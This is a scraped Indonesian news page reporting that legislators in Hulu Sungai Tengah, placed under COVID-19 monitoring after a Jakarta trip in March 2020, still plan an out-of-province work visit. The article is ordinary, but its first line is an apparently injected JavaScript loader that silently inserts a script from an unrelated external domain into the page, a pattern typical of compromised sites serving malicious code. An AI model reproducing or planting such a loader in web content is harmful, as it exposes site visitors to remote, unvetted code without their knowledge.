(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Berstatus ODP, Anggota DPRD HST Tetap Berencana Kunker ke Luar Daerah


KANALKALIMANTAN.COM, BARABAI – Berstatus orang dalam pemantauan (ODP), anggota DPRD Hulu Sungai Tengah (HST) tetap berencana melakukan kunjungan kerja ke luar provinsi. Sesuai hasil rapat Badan Musyawarah (Banmus), beberapa anggota menjadwalkan kunjungan kerja perjalanan dinas mulai Hari Rabu (25/3/2020).

Hal itu dibenarkan oleh salah seorang anggota Komisi III DPRD HST Hermansyah. Ia mengatakan ada jadwal bakal melakukan kunjungan kerja ke luar provinsi. “Itu hasil Badan Musyawarah (Banmus) yang digelar awal bulan tadi. Namun apakah hasil Banmus itu masih disesuaikan atau tidak terkait virus corona ini masih belum diketahui. Belum tahu apakah bakal jadi berangkat atau tidak. Karena surat perjalanan dinas ditandatangani ketua,” ujarnya saat dikonfirmasi via telpon oleh Kalsel.Antaranews.com.

Dari info yang dihimpun, hasil Banmus awal bulan lalu sampai hari ini tidak diubah dan kemungkinan besar para anggota DPRD HST yang diperkirakan 12 sampai 13 orang akan tetap melakukan kunjungan kerja ke luar provinsi namun ada juga yang memilih tidak ikut.

Karena pimpinan menyerahkan kepada para anggota DPRD tersebut, yang ingin tetap berangkat dipersilahkan dan yang tidak ikut perjalanan dinas pun dipersilahkan.

Sementara Ketua DPRD HST, H Rachmadi saat dikonfirmasi pada Konferensi Pers Gugus Tugas penanganan Covid 19 di Kantor Dinas Kesehatan HST, Selasa (24/3/2020) mengatakan tidak tahu kalau ada rencana perjalanan dinas ke luar provinsi.

“Kalau anggota dewan ingin bepergian ke luar daerah secara pribadi, itu hak mereka. Kita tidak bisa melarang namun kalau ingin melakukan perjalanan dinas sebaiknya ditunda dulu,” komentarnya.

Padahal sebelumnya, oleh Dinas Kesehatan beserta tim kesehatan setempat, mengimbau agar anggota DPRD HST untuk tidak melakukan kunjungan kerja dalam beberapa waktu. Imbauan tersebut disampaikan bukan tanpa alasan. Pasalnya, hampir seluruh anggota DPRD HST ditetapkan sebagai orang dalam pemantauan (OPD). Mengingat dari tanggal 11 hingga 15 Maret lalu, mereka melakukan perjalanan dinas ke daerah yang terjangkit Covid-19 yaitu Jakarta.

Perlu diketahui, status ODP, ditetapkan kepada mereka yang datang dari bepergian ke daerah yang diduga terjangkit Covid-19. Menekan agar tidak terjadi hal yang tidak diinginkan, pemerintah beserta dinas terkait, melakukan pemerikasaan awal kemudian melakukan pegawasan selama 14 hari sejak kedatangan yang bersangkutan.(antara)

Reporter : Antara
Editor : Antara

 


Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

8 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

8 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

9 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

10 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

12 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

12 jam ago

This website uses cookies.